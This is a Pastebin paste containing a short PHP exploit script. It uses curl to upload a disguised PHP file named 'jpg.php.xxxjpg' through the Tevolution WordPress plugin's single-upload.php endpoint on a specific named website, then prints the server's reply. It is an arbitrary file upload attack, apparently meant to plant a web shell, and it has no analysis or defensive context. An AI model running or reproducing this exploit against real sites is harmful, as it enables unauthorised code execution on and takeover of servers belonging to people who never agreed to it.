Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $uploadfile="jpg.php.xxxjpg";
- $ch = curl_init("https://prograr.co.il/wp-content/plugins/Tevolution/tmplconnector/monetize/templatic-custom_fields/single-upload.php");
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS,
- array('file'=>"@$uploadfile"));
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- $postResult = curl_exec($ch);
- curl_close($ch);
- print "$postResult";
- ?>
Add Comment
Please, Sign In to add comment